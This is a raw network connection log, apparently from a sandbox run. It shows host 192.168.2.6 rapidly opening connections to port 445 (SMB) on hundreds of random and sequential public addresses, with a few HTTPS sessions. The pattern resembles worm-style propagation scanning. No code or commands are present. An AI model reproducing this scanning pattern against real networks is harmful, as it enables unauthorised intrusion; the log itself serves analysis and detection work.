Jul 21, 2022 04:37:22.262027979 CEST	59200	445	192.168.2.6	133.203.66.166
Jul 21, 2022 04:37:22.262590885 CEST	59201	445	192.168.2.6	117.59.31.163
Jul 21, 2022 04:37:22.263153076 CEST	59202	445	192.168.2.6	151.93.78.32
Jul 21, 2022 04:37:22.311584949 CEST	59207	445	192.168.2.6	76.90.128.65
Jul 21, 2022 04:37:22.311813116 CEST	59209	445	192.168.2.6	207.108.133.175
Jul 21, 2022 04:37:22.311815977 CEST	59208	445	192.168.2.6	175.198.133.20
Jul 21, 2022 04:37:22.311930895 CEST	59211	445	192.168.2.6	119.195.222.208
Jul 21, 2022 04:37:22.311984062 CEST	59212	445	192.168.2.6	158.7.72.200
Jul 21, 2022 04:37:22.312098026 CEST	59214	445	192.168.2.6	183.77.223.47
Jul 21, 2022 04:37:22.338401079 CEST	59215	445	192.168.2.6	207.180.242.112
Jul 21, 2022 04:37:22.354770899 CEST	445	59176	190.98.231.98	192.168.2.6
Jul 21, 2022 04:37:22.417578936 CEST	59218	445	192.168.2.6	69.126.110.45
Jul 21, 2022 04:37:22.567569971 CEST	59222	445	192.168.2.6	122.226.225.88
Jul 21, 2022 04:37:22.567943096 CEST	59223	445	192.168.2.6	213.90.206.70
Jul 21, 2022 04:37:22.568036079 CEST	59225	445	192.168.2.6	209.249.7.64
Jul 21, 2022 04:37:22.568099022 CEST	59227	445	192.168.2.6	49.243.21.19
Jul 21, 2022 04:37:22.568134069 CEST	59229	445	192.168.2.6	201.116.254.25
Jul 21, 2022 04:37:22.568171024 CEST	59231	445	192.168.2.6	166.117.187.212
Jul 21, 2022 04:37:22.568393946 CEST	59240	445	192.168.2.6	161.74.5.209
Jul 21, 2022 04:37:22.869134903 CEST	59176	445	192.168.2.6	190.98.231.98
Jul 21, 2022 04:37:23.120946884 CEST	445	59176	190.98.231.98	192.168.2.6
Jul 21, 2022 04:37:23.153950930 CEST	59267	445	192.168.2.6	27.92.188.150
Jul 21, 2022 04:37:23.155204058 CEST	59270	445	192.168.2.6	56.168.149.150
Jul 21, 2022 04:37:23.156552076 CEST	59272	445	192.168.2.6	84.14.101.81
Jul 21, 2022 04:37:23.182374001 CEST	59275	445	192.168.2.6	190.98.231.99
Jul 21, 2022 04:37:23.246021986 CEST	59278	445	192.168.2.6	70.133.59.237
Jul 21, 2022 04:37:23.247301102 CEST	59279	445	192.168.2.6	93.107.43.110
Jul 21, 2022 04:37:23.251127958 CEST	59284	445	192.168.2.6	99.187.36.109
Jul 21, 2022 04:37:23.251693010 CEST	59285	445	192.168.2.6	6.108.158.120
Jul 21, 2022 04:37:23.252206087 CEST	59286	445	192.168.2.6	11.120.135.54
Jul 21, 2022 04:37:23.253293037 CEST	59288	445	192.168.2.6	124.184.108.67
Jul 21, 2022 04:37:23.253806114 CEST	59289	445	192.168.2.6	159.249.13.63
Jul 21, 2022 04:37:23.255928040 CEST	59293	445	192.168.2.6	84.182.26.221
Jul 21, 2022 04:37:23.256470919 CEST	59294	445	192.168.2.6	47.181.98.148
Jul 21, 2022 04:37:23.388102055 CEST	59302	445	192.168.2.6	126.11.15.252
Jul 21, 2022 04:37:23.388127089 CEST	59303	445	192.168.2.6	221.224.160.220
Jul 21, 2022 04:37:23.388242960 CEST	59304	445	192.168.2.6	90.198.37.34
Jul 21, 2022 04:37:23.417932034 CEST	59308	445	192.168.2.6	207.180.242.113
Jul 21, 2022 04:37:23.430305004 CEST	445	59275	190.98.231.99	192.168.2.6
Jul 21, 2022 04:37:23.434973955 CEST	59309	445	192.168.2.6	11.81.128.59
Jul 21, 2022 04:37:23.435182095 CEST	59310	445	192.168.2.6	154.203.153.113
Jul 21, 2022 04:37:23.435655117 CEST	59312	445	192.168.2.6	135.152.87.105
Jul 21, 2022 04:37:23.435704947 CEST	59313	445	192.168.2.6	67.186.143.245
Jul 21, 2022 04:37:23.435781956 CEST	59315	445	192.168.2.6	140.131.38.18
Jul 21, 2022 04:37:23.435811996 CEST	59316	445	192.168.2.6	56.253.208.77
Jul 21, 2022 04:37:23.532392979 CEST	59320	445	192.168.2.6	28.240.105.94
Jul 21, 2022 04:37:23.684035063 CEST	59325	445	192.168.2.6	28.77.193.6
Jul 21, 2022 04:37:23.684041977 CEST	59324	445	192.168.2.6	174.18.42.6
Jul 21, 2022 04:37:23.684514046 CEST	59326	445	192.168.2.6	164.206.254.185
Jul 21, 2022 04:37:23.685918093 CEST	59329	445	192.168.2.6	92.63.14.29
Jul 21, 2022 04:37:23.700221062 CEST	59331	445	192.168.2.6	211.124.160.101
Jul 21, 2022 04:37:23.709789991 CEST	59332	445	192.168.2.6	153.71.19.253
Jul 21, 2022 04:37:23.716094971 CEST	59343	445	192.168.2.6	89.50.240.102
Jul 21, 2022 04:37:23.931790113 CEST	59275	445	192.168.2.6	190.98.231.99
Jul 21, 2022 04:37:24.184307098 CEST	445	59275	190.98.231.99	192.168.2.6
Jul 21, 2022 04:37:24.245085001 CEST	59364	445	192.168.2.6	190.98.231.100
Jul 21, 2022 04:37:24.271892071 CEST	59367	445	192.168.2.6	96.238.142.98
Jul 21, 2022 04:37:24.272048950 CEST	59372	445	192.168.2.6	150.163.89.113
Jul 21, 2022 04:37:24.272061110 CEST	59368	445	192.168.2.6	76.116.231.235
Jul 21, 2022 04:37:24.377065897 CEST	59381	445	192.168.2.6	91.156.23.55
Jul 21, 2022 04:37:24.377065897 CEST	59380	445	192.168.2.6	155.8.204.21
Jul 21, 2022 04:37:24.377789021 CEST	59385	445	192.168.2.6	203.45.155.91
Jul 21, 2022 04:37:24.377834082 CEST	59387	445	192.168.2.6	172.156.113.37
Jul 21, 2022 04:37:24.377890110 CEST	59388	445	192.168.2.6	199.221.66.233
Jul 21, 2022 04:37:24.377935886 CEST	59390	445	192.168.2.6	173.249.140.27
Jul 21, 2022 04:37:24.377969980 CEST	59391	445	192.168.2.6	119.93.182.141
Jul 21, 2022 04:37:24.378087997 CEST	59395	445	192.168.2.6	184.137.229.58
Jul 21, 2022 04:37:24.378115892 CEST	59396	445	192.168.2.6	38.67.206.85
Jul 21, 2022 04:37:24.473006010 CEST	445	59364	190.98.231.100	192.168.2.6
Jul 21, 2022 04:37:24.482170105 CEST	59401	445	192.168.2.6	207.180.242.114
Jul 21, 2022 04:37:24.497353077 CEST	59404	445	192.168.2.6	194.142.107.126
Jul 21, 2022 04:37:24.497390032 CEST	59405	445	192.168.2.6	56.186.160.171
Jul 21, 2022 04:37:24.497471094 CEST	59406	445	192.168.2.6	134.57.56.121
Jul 21, 2022 04:37:24.542587042 CEST	59411	445	192.168.2.6	80.104.123.206
Jul 21, 2022 04:37:24.543430090 CEST	59412	445	192.168.2.6	203.218.147.34
Jul 21, 2022 04:37:24.545028925 CEST	59414	445	192.168.2.6	70.51.121.58
Jul 21, 2022 04:37:24.546822071 CEST	59416	445	192.168.2.6	88.140.139.108
Jul 21, 2022 04:37:24.547415972 CEST	59417	445	192.168.2.6	17.186.151.17
Jul 21, 2022 04:37:24.548269987 CEST	59418	445	192.168.2.6	179.27.171.37
Jul 21, 2022 04:37:24.645498991 CEST	59421	445	192.168.2.6	204.203.218.221
Jul 21, 2022 04:37:24.792588949 CEST	59425	445	192.168.2.6	189.63.81.218
Jul 21, 2022 04:37:24.793559074 CEST	59427	445	192.168.2.6	181.25.15.195
Jul 21, 2022 04:37:24.794009924 CEST	59428	445	192.168.2.6	140.141.246.236
Jul 21, 2022 04:37:24.795386076 CEST	59431	445	192.168.2.6	91.36.147.2
Jul 21, 2022 04:37:24.817645073 CEST	59438	445	192.168.2.6	203.251.22.136
Jul 21, 2022 04:37:24.817673922 CEST	59439	445	192.168.2.6	116.74.210.50
Jul 21, 2022 04:37:24.827390909 CEST	59445	445	192.168.2.6	149.83.107.183
Jul 21, 2022 04:37:24.900588989 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:24.978770971 CEST	59364	445	192.168.2.6	190.98.231.100
Jul 21, 2022 04:37:25.202234030 CEST	445	59364	190.98.231.100	192.168.2.6
Jul 21, 2022 04:37:25.323759079 CEST	59466	445	192.168.2.6	190.98.231.101
Jul 21, 2022 04:37:25.387799025 CEST	59469	445	192.168.2.6	149.20.34.129
Jul 21, 2022 04:37:25.388556957 CEST	59470	445	192.168.2.6	94.183.195.223
Jul 21, 2022 04:37:25.392853022 CEST	59477	445	192.168.2.6	222.136.29.229
Jul 21, 2022 04:37:25.484736919 CEST	59483	445	192.168.2.6	184.122.198.15
Jul 21, 2022 04:37:25.484744072 CEST	59482	445	192.168.2.6	185.234.194.50
Jul 21, 2022 04:37:25.485161066 CEST	59486	445	192.168.2.6	152.62.80.151
Jul 21, 2022 04:37:25.485260963 CEST	59489	445	192.168.2.6	188.215.190.71
Jul 21, 2022 04:37:25.485327959 CEST	59492	445	192.168.2.6	143.39.38.154
Jul 21, 2022 04:37:25.485393047 CEST	59493	445	192.168.2.6	99.249.81.192
Jul 21, 2022 04:37:25.485410929 CEST	59494	445	192.168.2.6	107.147.243.146
Jul 21, 2022 04:37:25.485506058 CEST	59497	445	192.168.2.6	218.165.27.109
Jul 21, 2022 04:37:25.485598087 CEST	59499	445	192.168.2.6	105.97.61.146
Jul 21, 2022 04:37:25.558211088 CEST	59502	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.574706078 CEST	445	59466	190.98.231.101	192.168.2.6
Jul 21, 2022 04:37:25.581552029 CEST	445	59502	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:25.581734896 CEST	59502	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.581845999 CEST	59502	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.584538937 CEST	59503	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.602291107 CEST	445	59502	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:25.602322102 CEST	445	59502	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:25.605007887 CEST	445	59503	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:25.605124950 CEST	59503	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.605276108 CEST	59503	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.623450041 CEST	59508	445	192.168.2.6	131.229.49.93
Jul 21, 2022 04:37:25.623508930 CEST	59507	445	192.168.2.6	123.186.198.32
Jul 21, 2022 04:37:25.623513937 CEST	59509	445	192.168.2.6	65.89.99.58
Jul 21, 2022 04:37:25.626029968 CEST	445	59503	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:25.626677990 CEST	59503	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.647680044 CEST	445	59503	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:25.647958994 CEST	59503	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:25.668880939 CEST	445	59503	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:25.676877975 CEST	59514	445	192.168.2.6	15.10.82.240
Jul 21, 2022 04:37:25.677587032 CEST	59515	445	192.168.2.6	134.197.60.89
Jul 21, 2022 04:37:25.678106070 CEST	59516	445	192.168.2.6	180.117.216.118
Jul 21, 2022 04:37:25.686096907 CEST	59518	445	192.168.2.6	177.124.3.225
Jul 21, 2022 04:37:25.686184883 CEST	59520	445	192.168.2.6	97.143.156.210
Jul 21, 2022 04:37:25.686357021 CEST	59521	445	192.168.2.6	116.41.180.247
Jul 21, 2022 04:37:25.778038979 CEST	59524	445	192.168.2.6	67.149.188.40
Jul 21, 2022 04:37:25.931477070 CEST	59528	445	192.168.2.6	180.61.155.201
Jul 21, 2022 04:37:25.931679964 CEST	59530	445	192.168.2.6	6.238.131.209
Jul 21, 2022 04:37:25.931689978 CEST	59531	445	192.168.2.6	162.23.140.36
Jul 21, 2022 04:37:25.931828022 CEST	59534	445	192.168.2.6	181.117.243.1
Jul 21, 2022 04:37:25.936351061 CEST	59537	445	192.168.2.6	149.134.38.65
Jul 21, 2022 04:37:25.936398983 CEST	59536	445	192.168.2.6	96.232.43.186
Jul 21, 2022 04:37:25.951500893 CEST	59552	445	192.168.2.6	47.142.4.192
Jul 21, 2022 04:37:26.088160038 CEST	59466	445	192.168.2.6	190.98.231.101
Jul 21, 2022 04:37:26.342178106 CEST	445	59466	190.98.231.101	192.168.2.6
Jul 21, 2022 04:37:26.401376963 CEST	59570	445	192.168.2.6	190.98.231.102
Jul 21, 2022 04:37:26.496725082 CEST	59573	445	192.168.2.6	98.225.25.224
Jul 21, 2022 04:37:26.497348070 CEST	59574	445	192.168.2.6	131.68.183.35
Jul 21, 2022 04:37:26.502515078 CEST	59582	445	192.168.2.6	14.30.245.52
Jul 21, 2022 04:37:26.589277029 CEST	59586	445	192.168.2.6	40.37.81.70
Jul 21, 2022 04:37:26.589787960 CEST	59587	445	192.168.2.6	10.27.66.205
Jul 21, 2022 04:37:26.592294931 CEST	59591	445	192.168.2.6	65.84.102.59
Jul 21, 2022 04:37:26.597031116 CEST	59594	445	192.168.2.6	175.173.233.169
Jul 21, 2022 04:37:26.597110987 CEST	59597	445	192.168.2.6	23.108.206.210
Jul 21, 2022 04:37:26.597110987 CEST	59596	445	192.168.2.6	96.162.8.214
Jul 21, 2022 04:37:26.597141027 CEST	59599	445	192.168.2.6	70.26.228.147
Jul 21, 2022 04:37:26.597258091 CEST	59602	445	192.168.2.6	55.55.205.154
Jul 21, 2022 04:37:26.597286940 CEST	59604	445	192.168.2.6	90.39.57.106
Jul 21, 2022 04:37:26.624001026 CEST	445	59570	190.98.231.102	192.168.2.6
Jul 21, 2022 04:37:26.746807098 CEST	59610	445	192.168.2.6	129.58.39.200
Jul 21, 2022 04:37:26.747431993 CEST	59611	445	192.168.2.6	118.99.134.141
Jul 21, 2022 04:37:26.748023033 CEST	59612	445	192.168.2.6	63.185.248.97
Jul 21, 2022 04:37:26.797008991 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.797063112 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.797175884 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.798230886 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.798255920 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.813303947 CEST	59619	445	192.168.2.6	17.215.183.208
Jul 21, 2022 04:37:26.813397884 CEST	59620	445	192.168.2.6	191.25.233.53
Jul 21, 2022 04:37:26.813399076 CEST	59621	445	192.168.2.6	41.216.54.11
Jul 21, 2022 04:37:26.813482046 CEST	59622	445	192.168.2.6	167.129.42.46
Jul 21, 2022 04:37:26.813529968 CEST	59623	445	192.168.2.6	166.173.21.19
Jul 21, 2022 04:37:26.813546896 CEST	59624	445	192.168.2.6	51.12.54.39
Jul 21, 2022 04:37:26.890285969 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.890368938 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.898675919 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.898701906 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.898981094 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.900859118 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.900917053 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.900930882 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.901304007 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.903100014 CEST	59625	445	192.168.2.6	54.43.161.72
Jul 21, 2022 04:37:26.930284023 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.930387974 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:26.930480957 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.930620909 CEST	59616	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:37:26.930635929 CEST	443	59616	20.199.120.151	192.168.2.6
Jul 21, 2022 04:37:27.135168076 CEST	59570	445	192.168.2.6	190.98.231.102
Jul 21, 2022 04:37:27.265355110 CEST	59630	445	192.168.2.6	123.197.64.145
Jul 21, 2022 04:37:27.356636047 CEST	445	59570	190.98.231.102	192.168.2.6
Jul 21, 2022 04:37:27.361521006 CEST	59640	445	192.168.2.6	145.11.65.248
Jul 21, 2022 04:37:27.361605883 CEST	59642	445	192.168.2.6	73.214.148.44
Jul 21, 2022 04:37:27.361687899 CEST	59643	445	192.168.2.6	135.144.247.167
Jul 21, 2022 04:37:27.361813068 CEST	59646	445	192.168.2.6	67.28.21.144
Jul 21, 2022 04:37:27.361875057 CEST	59647	445	192.168.2.6	173.62.198.96
Jul 21, 2022 04:37:27.361970901 CEST	59649	445	192.168.2.6	155.207.31.55
Jul 21, 2022 04:37:27.511451006 CEST	59673	445	192.168.2.6	190.98.231.103
Jul 21, 2022 04:37:27.691972971 CEST	59676	445	192.168.2.6	218.61.130.116
Jul 21, 2022 04:37:27.692564011 CEST	59677	445	192.168.2.6	74.66.234.166
Jul 21, 2022 04:37:27.696640015 CEST	59685	445	192.168.2.6	21.17.129.167
Jul 21, 2022 04:37:27.715080023 CEST	59689	445	192.168.2.6	1.78.194.23
Jul 21, 2022 04:37:27.716183901 CEST	59691	445	192.168.2.6	11.82.79.251
Jul 21, 2022 04:37:27.717700005 CEST	59694	445	192.168.2.6	4.200.3.247
Jul 21, 2022 04:37:27.718640089 CEST	59696	445	192.168.2.6	188.239.254.159
Jul 21, 2022 04:37:27.719666004 CEST	59698	445	192.168.2.6	131.28.235.139
Jul 21, 2022 04:37:27.720172882 CEST	59699	445	192.168.2.6	10.180.147.126
Jul 21, 2022 04:37:27.722420931 CEST	59703	445	192.168.2.6	67.116.134.5
Jul 21, 2022 04:37:27.724380016 CEST	59707	445	192.168.2.6	182.193.250.192
Jul 21, 2022 04:37:27.724863052 CEST	59708	445	192.168.2.6	162.16.159.237
Jul 21, 2022 04:37:27.759418011 CEST	445	59673	190.98.231.103	192.168.2.6
Jul 21, 2022 04:37:27.901971102 CEST	59709	445	192.168.2.6	6.112.26.246
Jul 21, 2022 04:37:27.902672052 CEST	59710	445	192.168.2.6	47.83.1.147
Jul 21, 2022 04:37:28.014154911 CEST	59717	445	192.168.2.6	69.13.95.49
Jul 21, 2022 04:37:28.260221004 CEST	59673	445	192.168.2.6	190.98.231.103
Jul 21, 2022 04:37:28.508156061 CEST	445	59673	190.98.231.103	192.168.2.6
Jul 21, 2022 04:37:28.897752047 CEST	59720	445	192.168.2.6	150.127.247.210
Jul 21, 2022 04:37:28.897847891 CEST	59721	445	192.168.2.6	218.225.194.159
Jul 21, 2022 04:37:28.897917032 CEST	59722	445	192.168.2.6	106.89.209.51
Jul 21, 2022 04:37:28.897983074 CEST	59723	445	192.168.2.6	63.204.29.229
Jul 21, 2022 04:37:28.898046017 CEST	59724	445	192.168.2.6	52.137.97.243
Jul 21, 2022 04:37:28.898143053 CEST	59725	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:28.898210049 CEST	59726	445	192.168.2.6	65.98.135.234
Jul 21, 2022 04:37:28.898289919 CEST	59727	445	192.168.2.6	170.253.199.204
Jul 21, 2022 04:37:28.909352064 CEST	59743	445	192.168.2.6	57.165.132.171
Jul 21, 2022 04:37:28.909435987 CEST	59746	445	192.168.2.6	131.167.28.143
Jul 21, 2022 04:37:28.909482956 CEST	59747	445	192.168.2.6	210.16.143.77
Jul 21, 2022 04:37:28.909574032 CEST	59750	445	192.168.2.6	72.200.42.47
Jul 21, 2022 04:37:28.909630060 CEST	59751	445	192.168.2.6	190.70.105.89
Jul 21, 2022 04:37:28.909691095 CEST	59752	445	192.168.2.6	51.68.65.12
Jul 21, 2022 04:37:28.909884930 CEST	59759	445	192.168.2.6	161.76.97.5
Jul 21, 2022 04:37:28.918540001 CEST	445	59725	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:28.918705940 CEST	59725	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:28.923640013 CEST	59725	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:28.925126076 CEST	59763	445	192.168.2.6	190.98.231.104
Jul 21, 2022 04:37:28.944010019 CEST	445	59725	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:29.012897968 CEST	59725	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:29.033919096 CEST	445	59725	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:29.036217928 CEST	59725	445	192.168.2.6	207.180.242.115
Jul 21, 2022 04:37:29.050530910 CEST	59764	445	192.168.2.6	41.192.118.11
Jul 21, 2022 04:37:29.050636053 CEST	59765	445	192.168.2.6	45.68.225.4
Jul 21, 2022 04:37:29.050848007 CEST	59768	445	192.168.2.6	163.189.177.66
Jul 21, 2022 04:37:29.051096916 CEST	59773	445	192.168.2.6	31.38.47.234
Jul 21, 2022 04:37:29.051177025 CEST	59774	445	192.168.2.6	211.106.90.253
Jul 21, 2022 04:37:29.051296949 CEST	59776	445	192.168.2.6	91.67.30.223
Jul 21, 2022 04:37:29.051424980 CEST	59778	445	192.168.2.6	122.157.135.38
Jul 21, 2022 04:37:29.051565886 CEST	59781	445	192.168.2.6	136.226.22.159
Jul 21, 2022 04:37:29.051650047 CEST	59782	445	192.168.2.6	11.1.25.126
Jul 21, 2022 04:37:29.051846981 CEST	59786	445	192.168.2.6	163.71.109.250
Jul 21, 2022 04:37:29.052185059 CEST	59794	445	192.168.2.6	119.20.4.21
Jul 21, 2022 04:37:29.052310944 CEST	59796	445	192.168.2.6	76.222.69.60
Jul 21, 2022 04:37:29.056674004 CEST	445	59725	207.180.242.115	192.168.2.6
Jul 21, 2022 04:37:29.144171000 CEST	59816	445	192.168.2.6	212.105.168.104
Jul 21, 2022 04:37:29.144231081 CEST	59817	445	192.168.2.6	138.188.158.105
Jul 21, 2022 04:37:29.146099091 CEST	59819	445	192.168.2.6	210.143.220.102
Jul 21, 2022 04:37:29.172784090 CEST	445	59763	190.98.231.104	192.168.2.6
Jul 21, 2022 04:37:29.210149050 CEST	59823	445	192.168.2.6	207.180.242.116
Jul 21, 2022 04:37:29.682267904 CEST	59763	445	192.168.2.6	190.98.231.104
Jul 21, 2022 04:37:29.930905104 CEST	445	59763	190.98.231.104	192.168.2.6
Jul 21, 2022 04:37:30.572945118 CEST	59763	445	192.168.2.6	190.98.231.104
Jul 21, 2022 04:37:30.824593067 CEST	445	59763	190.98.231.104	192.168.2.6
Jul 21, 2022 04:37:30.960664034 CEST	59825	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:30.961319923 CEST	59826	445	192.168.2.6	190.98.231.105
Jul 21, 2022 04:37:30.983313084 CEST	445	59825	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:30.983421087 CEST	59825	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:31.007661104 CEST	59825	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:31.031029940 CEST	445	59825	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:31.031054974 CEST	445	59825	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:31.209456921 CEST	445	59826	190.98.231.105	192.168.2.6
Jul 21, 2022 04:37:31.286351919 CEST	59842	445	192.168.2.6	99.202.239.251
Jul 21, 2022 04:37:31.286566973 CEST	59845	445	192.168.2.6	81.228.116.99
Jul 21, 2022 04:37:31.286719084 CEST	59846	445	192.168.2.6	72.17.205.31
Jul 21, 2022 04:37:31.286861897 CEST	59849	445	192.168.2.6	160.199.4.3
Jul 21, 2022 04:37:31.286998034 CEST	59850	445	192.168.2.6	83.8.138.206
Jul 21, 2022 04:37:31.287039995 CEST	59851	445	192.168.2.6	1.89.145.181
Jul 21, 2022 04:37:31.287303925 CEST	59858	445	192.168.2.6	129.111.148.124
Jul 21, 2022 04:37:31.288855076 CEST	59863	445	192.168.2.6	160.125.248.100
Jul 21, 2022 04:37:31.288930893 CEST	59864	445	192.168.2.6	209.168.222.138
Jul 21, 2022 04:37:31.289077997 CEST	59866	445	192.168.2.6	81.227.63.146
Jul 21, 2022 04:37:31.289179087 CEST	59868	445	192.168.2.6	91.241.130.168
Jul 21, 2022 04:37:31.289316893 CEST	59871	445	192.168.2.6	188.9.38.250
Jul 21, 2022 04:37:31.289376974 CEST	59872	445	192.168.2.6	121.179.0.214
Jul 21, 2022 04:37:31.289566040 CEST	59876	445	192.168.2.6	146.28.73.153
Jul 21, 2022 04:37:31.289915085 CEST	59884	445	192.168.2.6	73.178.95.183
Jul 21, 2022 04:37:31.289988995 CEST	59886	445	192.168.2.6	94.31.236.171
Jul 21, 2022 04:37:31.303838015 CEST	59892	445	192.168.2.6	82.252.241.72
Jul 21, 2022 04:37:31.304063082 CEST	59898	445	192.168.2.6	86.116.41.176
Jul 21, 2022 04:37:31.304204941 CEST	59901	445	192.168.2.6	165.72.135.182
Jul 21, 2022 04:37:31.304517031 CEST	59900	445	192.168.2.6	106.80.143.173
Jul 21, 2022 04:37:31.304828882 CEST	59919	445	192.168.2.6	30.242.8.120
Jul 21, 2022 04:37:31.304881096 CEST	59920	445	192.168.2.6	168.17.176.67
Jul 21, 2022 04:37:31.304997921 CEST	59923	445	192.168.2.6	44.211.112.22
Jul 21, 2022 04:37:31.305047035 CEST	59924	445	192.168.2.6	10.148.182.30
Jul 21, 2022 04:37:31.305135012 CEST	59925	445	192.168.2.6	207.169.106.237
Jul 21, 2022 04:37:31.305179119 CEST	59926	445	192.168.2.6	211.234.26.115
Jul 21, 2022 04:37:31.305232048 CEST	59927	445	192.168.2.6	3.111.13.221
Jul 21, 2022 04:37:31.305296898 CEST	59928	445	192.168.2.6	64.77.221.157
Jul 21, 2022 04:37:31.305356979 CEST	59929	445	192.168.2.6	18.235.15.67
Jul 21, 2022 04:37:31.313899040 CEST	59930	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:31.329220057 CEST	445	59845	81.228.116.99	192.168.2.6
Jul 21, 2022 04:37:31.337269068 CEST	445	59930	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:31.337429047 CEST	59930	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:31.337610960 CEST	59930	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:31.361952066 CEST	445	59930	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:31.363075018 CEST	59930	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:31.386307001 CEST	445	59930	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:31.386555910 CEST	59930	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:31.409524918 CEST	445	59930	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:31.776165962 CEST	59826	445	192.168.2.6	190.98.231.105
Jul 21, 2022 04:37:31.885523081 CEST	59845	445	192.168.2.6	81.228.116.99
Jul 21, 2022 04:37:31.926098108 CEST	445	59845	81.228.116.99	192.168.2.6
Jul 21, 2022 04:37:32.026952028 CEST	59931	445	192.168.2.6	190.98.231.106
Jul 21, 2022 04:37:32.028153896 CEST	445	59826	190.98.231.105	192.168.2.6
Jul 21, 2022 04:37:32.275135040 CEST	445	59931	190.98.231.106	192.168.2.6
Jul 21, 2022 04:37:32.465022087 CEST	59935	445	192.168.2.6	173.199.202.211
Jul 21, 2022 04:37:32.465451002 CEST	59939	445	192.168.2.6	188.250.118.129
Jul 21, 2022 04:37:32.465524912 CEST	59940	445	192.168.2.6	77.179.47.177
Jul 21, 2022 04:37:32.465656042 CEST	59942	445	192.168.2.6	5.216.207.39
Jul 21, 2022 04:37:32.465756893 CEST	59944	445	192.168.2.6	112.152.64.48
Jul 21, 2022 04:37:32.467345953 CEST	59937	445	192.168.2.6	174.5.6.157
Jul 21, 2022 04:37:32.483866930 CEST	59978	445	192.168.2.6	98.206.152.11
Jul 21, 2022 04:37:32.483952045 CEST	59979	445	192.168.2.6	81.87.61.209
Jul 21, 2022 04:37:32.484108925 CEST	59982	445	192.168.2.6	180.101.76.174
Jul 21, 2022 04:37:32.484342098 CEST	59987	445	192.168.2.6	31.205.107.118
Jul 21, 2022 04:37:32.484667063 CEST	59993	445	192.168.2.6	102.14.179.164
Jul 21, 2022 04:37:32.485044003 CEST	60002	445	192.168.2.6	103.231.39.84
Jul 21, 2022 04:37:32.485260963 CEST	60007	445	192.168.2.6	10.102.62.223
Jul 21, 2022 04:37:32.485330105 CEST	60008	445	192.168.2.6	202.167.157.96
Jul 21, 2022 04:37:32.485475063 CEST	60011	445	192.168.2.6	190.115.227.25
Jul 21, 2022 04:37:32.485604048 CEST	59991	445	192.168.2.6	165.77.171.224
Jul 21, 2022 04:37:32.485641956 CEST	60014	445	192.168.2.6	55.194.42.172
Jul 21, 2022 04:37:32.485719919 CEST	60015	445	192.168.2.6	206.230.125.16
Jul 21, 2022 04:37:32.485790014 CEST	60016	445	192.168.2.6	84.154.14.118
Jul 21, 2022 04:37:32.485992908 CEST	60020	445	192.168.2.6	185.82.22.164
Jul 21, 2022 04:37:32.486202955 CEST	60024	445	192.168.2.6	168.238.34.62
Jul 21, 2022 04:37:32.486336946 CEST	60026	445	192.168.2.6	18.39.142.47
Jul 21, 2022 04:37:32.486370087 CEST	60025	445	192.168.2.6	32.192.180.57
Jul 21, 2022 04:37:32.486429930 CEST	60027	445	192.168.2.6	166.220.14.190
Jul 21, 2022 04:37:32.486504078 CEST	60028	445	192.168.2.6	184.38.234.102
Jul 21, 2022 04:37:32.486582041 CEST	60029	445	192.168.2.6	14.21.73.165
